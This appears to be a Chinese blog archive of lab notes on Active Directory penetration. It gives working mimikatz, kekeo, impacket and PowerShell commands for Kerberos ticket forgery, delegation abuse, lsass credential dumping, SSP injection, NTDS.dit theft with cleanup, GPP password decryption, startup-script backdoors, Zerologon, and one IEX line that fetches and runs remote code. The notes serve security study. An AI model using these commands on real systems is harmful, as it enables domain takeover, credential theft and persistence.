分类 内网渗透 下的文章

  • Kerberos 流程


    image-20220417122106074
    AS_REQ & AS_REP
    认证客户端身份,确定客户端是一个可靠且拥有访问 KDC 权限的客户端。
    用户向 KDC 发起 AS_REQ,请求凭据是用户 hash 加密的时间戳,KDC 使用用户 hash 进行解密,如果结果正确返回用 krbtgt hash 加密的 TGT 票据
    image-20220417122328254
    TGS_REQ & TGS_REP
    获取能够访问目标网络服务的服务授予票据 Ticket
    用户凭借 TGT 票据向 KDC 发起针对特定服务的 TGS_REQ 请求,KDC 使用krbtgt hash 进行解密,如果结果正确,就返回用服务hash 加密的 TGS 票据
    image-20220417122452734
    SE_REQ & SE_REP
    用户拿着 TGS 票据去请求服务,服务使用自己的 hash 解密 TGS 票据。如果解密正确,就允许用户访问。
    image-20220417122505697
  • 实验:Kerberoasting


    环境用的 vulnstack1/4 的win7 和 DC,工具包:https://github.com/nidem/kerberoast
    Set-ExecutionPolicy Unrestricted -Scope CurrentUser
    .\GetUserSPNs.ps1           (SPN扫描)
    cscript .\GetUserSPNs.ps1   (spn扫描)
    klist                       (查看当前会话存储的kerberos票据)
    mimikatz # kerberos::list /export   (导出票据)
    

    image-20220203093528227
    image-20220203093548786
    image-20220203093603425
    image-20220203093856638
    把导出的票据用工具集中的 tgsrepscrack.py 工具离线爆破(xs,根本爆不出来)
    image-20220203094434774
  • 实验:MS14-0684


    漏洞原理:

    关于 PAC
    PAC 是用于判断用户是否有权限访问服务,包含了用户的 sid,在 KRB_AS_REP 的 TGT 中,
    
    最后用户拿着 TGS 票据去请求服务,服务使用自己的 hash 解密 TGS 票据。如果解密正确,就拿着PAC去KDC那边询问用户有没有访问权限,域控解密 PAC 。获取用户的 sid,以及所在的组,再判断用户是否有访问服务的权限。
    
    只有KDC能制作和查看PAC。
    

    问题出在了签名的时候允许所有的 checksum 算法,包括 MD5,公平公正公开 意味着我们可以随意更改 PAC 的内容,完了之后再用 md5 给他生成一个服务检验和以及 KDC 校验和。
    攻击流程:

    whoami /all          (查看sid)
    .\MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-97988601107 -d WIN-ENS2VR5TR3N
    mimikatz # kerberos::purge      (删除当前缓存票据)
    mimikatz # kerberos::ptc TGT_douser@demo.com.ccache
    

    跟着源码看一下和 KDC 交互产生漏洞的过程:
    KRB_AS_REQ : Client 会向 KDC 申请一个不包含 PAC 的 TGT 票据(微软默认)
    image-20220203105633119
    KRB_AS_REP : 然后用 tgt_a 存储收到的 TGT 票据
    image-20220203110117777
    KRB_TGS_REQ : 通过 build_pac 函数构造 PAC,通过 build_tgs_req 构造 TGS_REQ
    image-20220203110249529
    追到 build_pac 中,注意最签名的 checksum,传入的参数写死在函数调用里了(RSA_MD5),原则上这个加密方式应该有 KDC 指定
    image-20220203114537066
    然后通过对 user_id 的分割构造了高权限组 SID 的 PAC。
    域用户(513)
    域管理员(512)
    架构管理员(518)
    企业管理员(519)
    组策略创建者所有者(520)
    

    在 build_tgs_req 中,使用 subkey(一串16位随机数) 进行加密
    image-20220203115505814
    到目前出现的问题:
    • 域中默认 include-pac 为 False
    • PAC 签名方式可以由 Client 指定,并且 Key 可以为空
    • PAC 加密方式可以由 Client 指定,并且 Key 为16位随机数
    • 构造的 PAC 中包含高权限组的 SID 内容

    KRB_TGC_REP : tgt_b 会接收到一张新的,包含 Pykek 生成的 PAC 的 TGT,正常情况下应该返回一张用于发送给 Server 段认证的 ST 票据。
    image-20220203123603757
    然后保存生成 ccache,那么现在已经是有一张高权限且内容正常的 TGT 票据。
  • Golden Ticket


    通过伪造 TGT 获得权限,使用条件:
    1、域名称
    2、域的SID值
    3、域的KRBTGT账户密码HASH
    4、伪造用户名,可以是任意的
    

    这里使用 mimikatz 来进行攻击
    lsadump::dcsync /domain:god.org /user:krbtgt (获取 krbtg 的 hash)
    kerberos::golden /admin:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:golden.kiribi     (生成金票)
    kerberos::ptt golden:kiribi     (把票据导入内存)
    此时已经可以通过 dir 访问域控的共享文件夹了
    

    image-20220204101113556
    image-20220204102222125
  • Silver Tickets


    通过伪造 ST (Service Ticket) ,因为 TGT 已经在 PAC 中限定了授权(通过 SID),所以银票只能访问指定服务,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名则银票将不起作用。使用条件:
    1.域名称
    2.域的SID值
    3.域的服务账户的密码HASH(不是krbtgt,是域控)
    4.伪造的用户名,可以是任意用户名,这里是silver
    

    上一个实验的环境和工具
    sekurlsa::logonpasswords     (查看当前域账号 administrator 的 hash 值)
    
  • Enhanced Golden Tickets


    普通的黄金票据不能跨域使用,但可以通过域内主机在迁移时SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。
  • 非约束委派


    攻击流程:

    • 找到配置非约束委派的账户( LADP查找工具或 powershell 脚本)
    • 拿下该账户权限
    • 诱导域管访问该账户(此时域管会将自己 TGT 发送到该账户并缓存到 LSASS 中)
    • 从LSASS中导出域管的TGT票据,然后通过PTT,从而拥有域管的权限、

    原理:

    User 将从 KDC 处得到的 TGT 发送给 service1,而 service1 拿到 TGT 之后可以通过 TGT 访问域内其他任意服务。
    t01d2ad05c9388a6596
    复现,还是 vulnstack1 的环境
    setspn -U -A variant/golden liukaifeng01 //配置test用户为服务账户
    setspn -l liukaifeng01 //查看是否配置成功
    

    image-20220204215304362
    image-20220204215327084
    然后将 liukaifeng01 用户设置为非约束委派,再开启 winrm 服务
    winrm quickconfig    (注意这里只能有链接域的网卡,不能有公网)
    

    导入 powerview.ps1(powerspliot中的),先查询一波(域控主机上运行)
    Get-NetUser -Unconstrained -Domain god.org //查询配置非约束委派的账户
    Get-NetComputer -Unconstrained -Domain god.org //查询配置非约束委派的主机
    

    然后再域控上使用 administrator 访问 liukaifeng01 所在主机上的 smb 服务
    image-20220204225320868
    mimikatz 导出票据
    privilege::debug
    sekurlsa::tickets /export
    

    然后选择一张 Administrator@krbtgt + 域名的票据并导入
    kerberos:ptt 票据名
    kerberos::list  (查看当前票据)
    

    导入之后已经可以访问域控的共享目录。
  • 约束委派


    攻击流程:

    • 找到配置了约束委派的服务账号
    • 拿下该账号所在的机子
    • 利用这个服务账号代表任意用户进行s4u2self获得一个可转发的票据
    • 把获取到的票据用于s4u2proxy(作为AddtionTicket),从未获取一个可转发的TGS,服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务

    原理:

    User 不会直接发送 TGT 服务,而是对发送给的 service1 的认证信息做了限制,不允许 service1 代表 User 使用这个 TGT 取访问其他的服务。
    使用了扩展协议: Service for User to Self (S4U2Self) (1-4)和 Service for User to Proxy (S4U2Proxy) (5-10)
    t017e3d9fb481f8b1fe
    环境同上,不过把用户换成约束委派
    image-20220205094534709
    Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl  (查询域中配置约束委派的账户)
    Get-DomainUser -TrustedToAuth -Domain god.org   (查看设置了约束委派的用户)
    Get-DomainComputer -TrustedToAuth -Domain god.org   (查询域中配置约束委派的主机)
    

    image-20220205100507912
    然后使用 kekeo 操作
    tgt::ask /user:liukaifeng01 /domain:god.org /password:!QAZ2wsx /ticket:test.kirbi        (申请 TGT)
    tgs::s4u /tgt:TGT_liukaifeng01@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:administrator@god.org /service:cifs/owa.god.org   (申请 TGS)
    

    然后使用 mimikatz 将生成的 TGS 文件导入 kerberos 凭据列表中
    kerberos::purge
    kerberos::ptt TGS_administrator@god.org@GOD.ORG_cifs~owa.god.org@GOD.ORG.kirbi
    

    image-20220205104725293
  • 资源约束委派


    配置约束委派需要 SeEnableDelegation 权限(通常仅授予 Domain Admins),所以只能利用已有的,但对于基于资源的约束委派,假如我们有了服务账号1 + 用户2的LDAP权限,就可以配置服务1对服务2的约束委派,服务1就可以控制服务2。
    攻击流程:

    • 拥有一个任意的服务账户1 或者计算机账户1
    • 获得服务账户2 的LDAP权限(结合ntlm relay)
    • 配置服务1对服务2的约束委派(在服务账户2的用户属性上配置msDS-AllowedToActOnBehalfOfOtherIdentity为1的sid)
    • 发起一个从服务1到服务2的正常的约束委派的流程,从而访问服务2
  • 参考文献:


  • 低版本下的密码抓取


    各大教程中抓密码的操作:
    privilege::debug (提权)
    sekurlsa::logonpasswords    (抓密码)
    

    但为什么可以抓。。。
    首先要了解这个 debug privilege 的原理,再 windows 中,调试全新啊可以用来调试进程,甚至是调试内核,mimikatz 的工作原理需要读取内存,那么必须要对应的权限去打开进程。
    默认情况下只有本地管理员组有这个权限,这也是为什么 mimikatz 需要管理员权限才能抓 hash 的原因。
    能抓,但具体是怎么抓的,其实 mimikatz 能导出明文的原因是因为 WDigest SSP 保存了可你的密码明文,但在安装 KB2871997 补丁或在 win10 和 windows server 2012 后,就禁止在内存中保存明文密码,但可以通过修改注册表读取。
    关于 WDigest:
    WDigest即摘要身份验证,摘要身份验证是一种质询/响应协议,主要在 Windows Server 2003 中用于 LDAP 和基于 Web 的身份验证。它利用超文本传输协议 (HTTP) 和简单身份验证安全层 (SASL) 交换进行身份验证。在较高级别上,客户端请求访问某些内容,身份验证服务器向客户端提出质询,客户端通过使用从密码派生的密钥对其响应进行加密来响应质询。将加密的响应与身份验证服务器上存储的响应进行比较,以确定用户是否具有正确的密码。
    

    WDigest 利用 http 和 sasl 进行身份验证,具体表现为把明文密码存在 lsass.exe 进程里通过 http 认证。KB2871997 补丁的作用就是关闭了 WDigest Auth(但没完全关闭,因为某些系统服务需要用到,所以为让用户自己选择)。
  • 离线抓取密码


    当 mimikatz 无法实现免杀时,可以用 procdump(微软签名的合法二进制文件,被提供用于转储进程内存。),dump lsass 进程,然后实现离线读取。
    Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
    mimikatz # sekurlsa::minidump lsass.dmp
    Switch to MINIDUMP
    mimikatz # sekurlsa::logonPasswords full
    

    image-20220223154916384
    通常在我们登录系统输入密码后,密码便会存储在 lsass.exe 内存,经过 wdigest 和 tspkg 调用后,对其使用可逆的算法进行加密存在内存中。
  • 通过修改注册表抓取明文密码


    WDigest 注册表位于:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
    

    在没有安装补丁的情况下没有 UseLogonCredential 这个值
    image-20220223143145845
    下一下补丁再试试 下载地址,可以发现 mimikatz 已经抓不到明文密码了。
    可以通过修改注册表强制开启 WDigest Auth
    1. cmd
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest  UseLogonCredential /t REG_DWORD /d 1 /f 
    2. powershell
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    3. meterpreter
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1
    关闭只需将最后的1改为0
    

    但是锁屏之后需要注销后重启,才能获得明文密码,而我们再不知道明文的情况下登录不了,这时可以设置强制锁屏
    1. cmd
    rundll32 user32.dll,LockWorkStation
    2. powershell
    powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"
    

    或者用三好学生的自动化脚本(修改+检测+锁屏)
    #!powershell
    function local:Get-DelegateType {
      Param (
        [OutputType([Type])]
      [Parameter( Position = 0)]
      [Type[]]
      $Parameters = (New-Object Type[](0)),
        [Parameter( Position = 1 )]
      [Type]
      $ReturnType = [Void]
      )
        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
    
        $TypeBuilder.CreateType()
    }
    function local:Get-ProcAddress {
      Param (
        [OutputType([IntPtr])]
      [Parameter( Position = 0, Mandatory = $True )]
      [String]
      $Module,
        [Parameter( Position = 1, Mandatory = $True )]
      [String]
      $Procedure
        )
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
      $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
        $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }
    Start-Sleep -Seconds 10
    $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
    $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
    $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
    $hWindow = $GetForegroundWindow.Invoke()
    
    
    write-host "[+]Checking Flag"
    while($hWindow -eq 0)
    {
      write-host "[+]LockScreen"
      write-host "[+]Wait 10 Seconds..."
      Start-Sleep -Seconds 10
      $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
      $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
      $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
      $hWindow = $GetForegroundWindow.Invoke()
      write-host "[+]Checking Flag"
    
    }
    write-host "[!]Got Screen!"
    

    在用户重新登录后就可以用 mimikatz 导出明文密码。
  • SSP注入


    SSP(Security Support Provider)主要提供了 windows 的身份认证功能,如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。SSP 在 windows 启动后,会被加载到 lsass.exe 中,然后就有两种思路:
    1.删除一个任意的SSP DLL以便于与lsass进程进行交互
    2.直接伪造一个SSP的dll来提取用户登录时的明文密码
    

    根据第二种思路,可以自定义一个恶意 dll 文件让它在系统启动时自动加载到 lsass.exe,就能得到进程中的明文密码。(可以用 mimikatz 实现)
    临时注入(重启后失效):
    mimikatz# privilege::debug
    mimiaktz# misc::memssp
    

    只要目标机器不重启,在目标机器上登录的用户名密码就会别记录在 C:\Windows\System32\mimilsa.log 文件中。
    长期性注入(重启不失效):
    把 mimikatz 中的 mimilib.dll 放到系统的 C:\Windows\System32\ 目录下,并将 mimilib.dll 添加到注册表中,使用这种方法,即使系统重启,也不会影响持久化效果。
    然后修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages,在其中添加新的 dll 文件。之后用户登录时输入的账号密码就会被记录在 C:\Windows\System32\kiwissp.log。
  • Hook PasswordChangeNotify


    修改密码时,如果用户输入新密码,LSA 会调用 PasswordFilter 来检查改密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify 在系统中同步密码,这个过程中有明文形式的密码进行传参,那么只要劫持了 PasswordChangeNotify 的执行流就能拿到明文密码。
    具体实现思路:
    1.为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。
    2.在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。
    3.将生成的dll注入到lssas进程中。使用HOOK PasswordChangeNotify无需重启系统或修改注册表,更加隐蔽且贴合实际。
    

    dalao 写好的 Inline Hook 代码:https://github.com/clymb3r/Misc-Windows-Hacking
    使用 session0 注入将 dll 注入 lsass.exe ,但网上直接 dll 注入的好像都失败了。。。
    使用反射加载的方式进行尝试,利用 Powershell tricks 中的 Process Injection 将 dll 注入到lsass 进程,脚本 https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1,执行命令:
    Set-ExecutionPolicy bypass
    Import-Module .\Invoke-ReflectivePEInjection.ps1
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    

    修改密码过后就可以在 C:\Windows\Temp\ 中看到抓取的明文密码。
    (至于为什么没有复现截图是因为这里报了一个神奇的错误:
    image-20220223204004972
  • 参考文献:


  • 应用背景


    通常情况下,即使拥有管理员权限,也无法读取域控中的 C:\Windows\NTDS\ntds.dit,ntds 中存储 AD 数据,包括有关用户对象,组和组成员身份的信息,包括域中所有用户的密码 hash,如果攻击者拿到了这个文件,可以用 mimikatz 实现 PTH 攻击,或者离线用 Hashcat 破解。
    这个文件和 SAM 文件一样,是被操作系统锁定的,一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现 ntds.dit 的拷贝。
    一般域环境内最重要的三个文件如下:
    ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit
    system文件位置:C:\\Windows\\System32\\config\\SYSTEM
    sam文件位置:C:\\Windows\\System32\\config\\SAM
    
  • NTDS 的加密


    加密方式是 2 层 RC4 + 1 层 DES,如果解密必须执行以下步骤:
    1.使用启动密钥(RC4-第1层)解密PEK(密码加密密钥)  
    2.第一轮哈希解密(使用PEK和RC4-第2层)  
    3.第二轮哈希解密(DES-第3层)
    

    首先是要解密 PEK,PEK或密码加密密钥用于加密NTDS.DIT中存储的数据。该密钥在整个域中都是相同的,这意味着在所有域控制器上它都是相同的。
    PEK本身也以加密形式存储在NTDS.DIT中。为了对其进行解密,将需要来自获得NDTS.DIT文件的同一域控制器中的注册表(SYSTEM配置单元)。这是因为PEK是使用BOOTKEY加密的,该BOOTKEY在所有域控制器(实际上在域中的所有计算机)上都是不同的。
    为了解密 PEK,要从 NTDS.DIT 中获取 ATTk590689 字段,该值的长度位 76 个字节
    标头8字节 + RC4的密钥材料16字节 + 加密的PEK 52字节
    

    解密后 PEK 密钥的实际是为最后 16 字节。当获得密钥后可用以下解密算法:
    md5 = MD5.new()
    md5.update(bootkey)
    for i in range(1000):
    md5.update(enc_pek [0:16])
    rc4_key = md5.digest();
    rc4 = ARC4.new(rc4_key)
    pek = rc4.encrypt(enc_pek [16:])
    return pek [36:]
    

    现在已经获得了 PEK,下一步就是解密 ATTk589879 (加密的LM哈希 )和 ATTk589914 (加密的NT哈希) 属性中的哈希。
    第二步是删除 RC4 加密层,解密 RC4 的密钥是 PEK 密钥 + 加密哈希的前16字节,加密哈希结构如下:
    标头8字节 + RC4的密钥材料16字节 + 加密的哈希16字节
    

    python 实现代码:
    md5 = MD5.new()
    md5.update(pek)
    md5.update(enc_hash [0:16])
    rc4_key = md5.digest();
    rc4 = ARC4.new(rc4_key)
    denc_hash = rc4.encrypt(enc_hash [16:])
    

    最后是删除 DES 加密层
    (des_k1,des_k2)= sid_to_key(rid)
    d1 = DES.new(des_k1,DES.MODE_ECB)
    d2 = DES.new(des_k2,DES.MODE_ECB)
    hash = d1.decrypt(denc_hash) [:8]+ d2.decrypt(denc_hash [8:])
    
  • 抓取 ntds.dit


    创建快照:
    ntdsutil snapshot "activate instance ntds" create quit quit
    

    挂载快照:
    ntdsutil snapshot "mount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
    

    复制 ntds.dit
    copy C:\$SNAP_202202221846_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
    

    image-20220222184901867
    现在在 c 盘已经可以看到 ntds.dit
    image-20220222185733196
    之后要做一些清除痕迹的工作:
    卸载快照:
    ntdsutil snapshot "unmount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
    

    删除快照:
    ntdsutil snapshot "delete {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
    
  • 用 diskshadow 导出


    diskshadow 执行文件中的命令
    //设置卷影拷贝  
    set context persistent nowriters
    //添加卷
    add volume c: alias someAlias
    //创建快照
    create
    //分配虚拟磁盘盘符
    expose %someAlias% z:
    //将ntds.dit复制到C盘中
    exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit
    //删除所有快照
    delete shadows all
    //列出系统中的卷影拷贝
    list shadows all
    //退出
    reset
    exit
    

    执行(需要进入C:\Windows\System32目录下执行)
    diskshadow /s C:\\command.txt
    
  • 用 vssadmin 导出


    vssadmin create shadow /for=c:
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\ntds\ntds.dit c:\\ntds.dit
    vssadmin delete shadows /for=c: /quiet
    

    image-20220222191640003
  • 参考文献:


  • 关于组策略


    组策略可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。可以设置一次组策略然后在多台计算机上使用。
    大多数组织机构为了安全,可能都会要求修改密码,标准的做法是利用组策略批量设置工作站的本地 Administrator 密码,这样带来的问题就是如果黑客拿到了一个系统的 Administrator 认证凭据,就能拿到所有机器的权限。
    其中一种解决方法就是使用 SYSVOL(活动目录中的全域共享文件夹),可以在所有域控中进行自动同步和共享,所有认证用户都可以读取,其中包括登录脚本,组策略数据和其他域控所需要的域数据。
    位置:\<domain>\SYSVOL\<domain>\Policies\</domain></domain>
    

    在 win2008 中发布了 GPP(组策略偏好),GPP 提供了一个自动化机制,利用显式凭据结合组策略部署了计划任务,一次性批量更改了电脑的本地管理的密码。
    当管理创建了一个新的 GPP 时,SYSVOL 里有一个 XML 文件存放了 AES-256 加密后的密码,但微软却在 2012 年发布了 AES 的私钥。。。
    因为所有域用户对 SYSVOL 都有读权限,在域里的任何用户可以搜索 SYSVOL 共享中的带有 cpassword 字样的 XML 文件,里面包含了 AES 加密的密码。
  • 利用本地组策略加载后门


    gpedit.msc->本地组策略编辑器->window设置(system)->脚本->启动
    可以在里面添加木马(复制到 C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup)或者 ps1 脚本文件。
    image-20220222225234745
    重启后 cs 上线
    image-20220222225409784
  • 域组策略


    机器有域环境的话,系统管理工具会多出组策略管理功能,域管理员能够很方便统一地对域内的机器和用户进行统一管理。
    AD域中两个默认的共享文件夹:SYSVOL NETLOGON
    NETLOGON目录
    
    挂载点:SYSVOL\domain\SCRIPTS 主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol下面的一个子目录文件夹
    
    SYSVOL目录
    
    SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。
    

    image-20220222225859277
  • 域组策略的利用


    直接执行脚本
    和本地组策略的利用类似,在组策略编辑器中添加一个启动脚本
    strComputer = "."
    Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
    objUser.SetPassword "123QWE!@#"
    objUser.SetInfo
    

    然后强制更新组策略
    gpupdate /force
    

    最后查找到被更新的组策略
    image-20220223001913183
    shell for /r \\dc/sysvol %i in (*.vbs) do @echo %i
    shell for /r \\dc/sysvol %i in (*.bat) do @echo %i
    

    GPP漏洞的利用
    直接执行脚本只能在 win server 2008 上没打补丁的版本存在,以后的版本无法写入密码,因为如果使用 GPP,输入的用户密码都会以 AES-256 的方式存在 SYSVOL 下对应的 xml 文件中,但在高版本 GPP 就不能输入密码,这个洞也就无了。
    现在的攻击手法就是获取 GPP 泄露的密码:
    在组策略管理中新建一个 OU 组:
    image-20220223003133708
    在这个 OU 中新建一个使用了 GPP 的本地用户密码的策略,并获取到该 GPO 的 ID
    image-20220223003402181
    方便演示添加一个新的用户
    image-20220223003840432
    然后根据这个 ID 到 SYSVOL 中搜索
    C:\Windows\SYSVOL\sysvol\god.org\Policies\{2559CA36-02A9-4C7A-AC1F-553AC2C1A567}\Machine\Preferences\Groups
    

    image-20220223003918367
    可以看到 gpptest 用户名对应的加密密码,这里用 python 脚本解密一下
    #!/usr/bin/python
    #
    # Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
    #
    # This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
    #
    
    import sys
    from Crypto.Cipher import AES
    from base64 import b64decode
    
    
    # Init the key
    # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
    key = """
    4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
    f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
    """.replace(" ","").replace("\n","").decode('hex')
    
    # Add padding to the base64 string and decode it
    cpassword = "AOXP8WcaNw/4jbOKeBQ/zubT3+T5UWA8P7EFVNEh2+E"
    cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
    password = b64decode(cpassword)
    
    # Decrypt the password
    o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
    
    # Print it
    print o[:-ord(o[-1])].decode('utf16')
    

    image-20220223004406751
  • 敏感文件搜集


    1.命令行下搜索
    dir /s /a \\DC\SYSVOL\*.xml
    

    2.Get-GPPPassword.ps1
    运行后会自动遍历 SYSVOL 下的敏感文件并将密码解密。
    3.通过用户进行查找
    查看域内共享
    get-domaincomputer|get-netshare
    查看域用户信息
    Get-DomainUser -identity gpptest
    查看该用户的组信息
    Get-DomainOU
    

    发现 GPO 的 link 链接,直接去找对应的文件夹就可以了
    image-20220223005421014
  • 后门利用


    当拿下域控的时候可以用 GPP 指定控制 OU 下的所有用户
    1.直接写脚本
    直接把木马脚本放在域策略,或新建 GPO 在启动中放入木马,然后将该 GPO 连接到目标 OU 下就可以直接打。
    2.计划任务实现远程执行
    可定时收集信息且比较隐蔽,使用 New-GPOImmediateTask.ps1 完成。
  • 参考文献


  • 漏洞复现


    靶机用的 vulnstack2 的 DC,攻击机 kali,设置同一网段。
    工具:https://github.com/dirkjanm/CVE-2020-1472
    python3 cve-2020-1472-exploit.py DC 192.168.157.135  (域控密码置空)
    空 hash 为:31d6cfe0d16ae931b73c59d7e0c089c0
    

    机器用户不能直接登录,但域控的机器用户具备 Dcsync 特权,可以滥用该特权进行 Dcsync。
    (见补充)
    然后使用 impacket 中的 secretsdump 导出用户所有凭据
    python secretsdump.py de1ay.com/DC\$@192.168.157.135 -no-pass
    

    image-20220208224705070
    DC的密码已被置空,同时拿到了 administrator 的 hash,可利用这个拿下域控
    python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3b24c391862f4a8531a245a0217708c4 Administrator@192.168.157.135
    

    image-20220208224953006
    因为密码置空后,用户在 AD 中的密码(ntds.dic)与本地的注册表 /lsass 里面的密码不一致,会脱离域控,所以要将其恢复。有三种方法。
    • 从注册表/lsass里面读取机器用户原先的密码,恢复AD里面的密码

      shell 中执行
      reg save HKLM\SYSTEM system.save
      reg save HKLM\SAM sam.save
      reg save HKLM\SECURITY security.save
      get system.save
      get sam.save
      get security.save
      del /f system.save
      del /f sam.save
      del /f security.save
      

      利用 secretsdump 提取密码
      python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
      

      最后用 restorepassword.py 恢复就行了
      python3 restorepassword.py de1ay.com/DC@192.168.157.135 -target-ip 192.168.157.135 -hexpass 6fe0c5167f01d42217a8f7836947654eb7884222fda599f3c96ab98ca48632e699f888b7191559582a5a1d61c6ab1d0ee3415a41580d802efe1b546453a647675ca1706f86f6e9bbd17469ffe4cda5abb86a1f9f91651959a7662aad2f2695cd71ba46ebd5708ae5c447ac81f0154b09bf1e7cfa9a5dd3fe99160101ef487c829481d126cfaa48d8b753df22f20c8717762a0eae4d0149c7069397bbe956a400e7fe4b956aa7185761cf8ec4e2cfe7e6f15bba48469ba9052b284fb1f5997bf22e34727cb180d82007198468386a25d61e0f129d78b7327b009cf8db733276f76ab5c1749b33bc2b6592f43f2a846970
      
    • 从 ntds.dict 中读密码然后恢复 AD 中的密码

      python secretsdump.py de1ay.com/DC\$@192.168.157.135 -dc-ip 192.168.157.135 -just-dc-user de1ay\\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0 -history
      
    • 一次性重置计算机的机器账户密码(包括AD,注册表,lsass 里面的密码)

      powershell Reset-ComputerMachinePassword
      
  • 漏洞分析


    • 加密过程中的问题:

      netlogon 用于对域中用户和其他服务进行身份验证,使用 RPC协议 MS-NRPC 通讯。
      机器用户访问 RPC 函数之前会里利用本身的 hash 进行校验,使用了 AES_CFB8 加密方式,
      t0134ae7013f4c14efa
      而当 IV 的 8 字节都是 0 的时候(IV=000000000000000000000000000000),如果使每一轮的明文内容和参加 AES 运算的上一轮密文的前 8 位相同,就可以保证每一轮加密后的密文是00,最后得到的密文也就是 000000000000000000000000000000。
      在 key 固定的情况下,参加 AEC运算的上一轮密文的前 8 位是固定的,而每一轮的明文和参加 AES 运算的上一轮密文的前 8 位一样,那么要求每一轮的明文内容必须一样,所以明文就是 abababab 这种格式。
